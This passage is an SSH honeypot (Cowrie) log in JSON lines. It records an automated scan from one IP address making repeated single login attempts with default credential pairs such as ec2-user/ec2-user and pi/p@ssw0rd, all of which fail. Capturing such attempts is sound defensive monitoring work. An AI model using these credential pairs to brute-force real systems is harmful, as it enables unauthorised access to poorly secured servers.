{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:57.287213Z","src_ip":"192.109.200.78","session":"c9a42d0eec61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:57.533544Z","src_ip":"192.109.200.78","session":"c9a42d0eec61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:49:58.620508Z","src_ip":"192.109.200.78","session":"c9a42d0eec61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39404,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c3f31b602b9","protocol":"ssh","message":"New connection: 192.109.200.78:39404 (10.17.0.5:22) [session: 7c3f31b602b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:00.761490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:00.765898Z","src_ip":"192.109.200.78","session":"7c3f31b602b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:00.847169Z","src_ip":"192.109.200.78","session":"7c3f31b602b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:01.093924Z","src_ip":"192.109.200.78","session":"7c3f31b602b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:02.178011Z","src_ip":"192.109.200.78","session":"7c3f31b602b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49280,"dst_ip":"10.17.0.5","dst_port":22,"session":"e69245b67d8d","protocol":"ssh","message":"New connection: 192.109.200.78:49280 (10.17.0.5:22) [session: e69245b67d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:04.156733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:04.161310Z","src_ip":"192.109.200.78","session":"e69245b67d8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:04.242930Z","src_ip":"192.109.200.78","session":"e69245b67d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:04.611365Z","src_ip":"192.109.200.78","session":"e69245b67d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:05.696620Z","src_ip":"192.109.200.78","session":"e69245b67d8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49282,"dst_ip":"10.17.0.5","dst_port":22,"session":"88a4f78e5155","protocol":"ssh","message":"New connection: 192.109.200.78:49282 (10.17.0.5:22) [session: 88a4f78e5155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:07.821855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:07.825950Z","src_ip":"192.109.200.78","session":"88a4f78e5155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:07.908116Z","src_ip":"192.109.200.78","session":"88a4f78e5155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"p@ssw0rd","message":"login attempt [pi/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:08.165189Z","src_ip":"192.109.200.78","session":"88a4f78e5155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:09.249287Z","src_ip":"192.109.200.78","session":"88a4f78e5155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49286,"dst_ip":"10.17.0.5","dst_port":22,"session":"175bd17ebb24","protocol":"ssh","message":"New connection: 192.109.200.78:49286 (10.17.0.5:22) [session: 175bd17ebb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:11.535650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:11.542649Z","src_ip":"192.109.200.78","session":"175bd17ebb24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:11.625202Z","src_ip":"192.109.200.78","session":"175bd17ebb24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:11.873862Z","src_ip":"192.109.200.78","session":"175bd17ebb24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:12.958616Z","src_ip":"192.109.200.78","session":"175bd17ebb24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33312,"dst_ip":"10.17.0.5","dst_port":22,"session":"58cb621ff2c0","protocol":"ssh","message":"New connection: 192.109.200.78:33312 (10.17.0.5:22) [session: 58cb621ff2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:15.180715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:15.185580Z","src_ip":"192.109.200.78","session":"58cb621ff2c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:15.268782Z","src_ip":"192.109.200.78","session":"58cb621ff2c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:15.518322Z","src_ip":"192.109.200.78","session":"58cb621ff2c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:16.742096Z","src_ip":"192.109.200.78","session":"58cb621ff2c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33320,"dst_ip":"10.17.0.5","dst_port":22,"session":"df7d9fda400d","protocol":"ssh","message":"New connection: 192.109.200.78:33320 (10.17.0.5:22) [session: df7d9fda400d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:18.726627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:18.732630Z","src_ip":"192.109.200.78","session":"df7d9fda400d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:18.821034Z","src_ip":"192.109.200.78","session":"df7d9fda400d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:19.068677Z","src_ip":"192.109.200.78","session":"df7d9fda400d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:20.153239Z","src_ip":"192.109.200.78","session":"df7d9fda400d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53780,"dst_ip":"10.17.0.5","dst_port":22,"session":"70046a6ca1fa","protocol":"ssh","message":"New connection: 192.109.200.78:53780 (10.17.0.5:22) [session: 70046a6ca1fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:22.373945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:22.377328Z","src_ip":"192.109.200.78","session":"70046a6ca1fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:22.460053Z","src_ip":"192.109.200.78","session":"70046a6ca1fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:22.725427Z","src_ip":"192.109.200.78","session":"70046a6ca1fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:23.810241Z","src_ip":"192.109.200.78","session":"70046a6ca1fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53784,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3075c257963","protocol":"ssh","message":"New connection: 192.109.200.78:53784 (10.17.0.5:22) [session: d3075c257963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:25.935773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:50:26.002494Z","src_ip":"192.109.200.78","session":"d3075c257963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 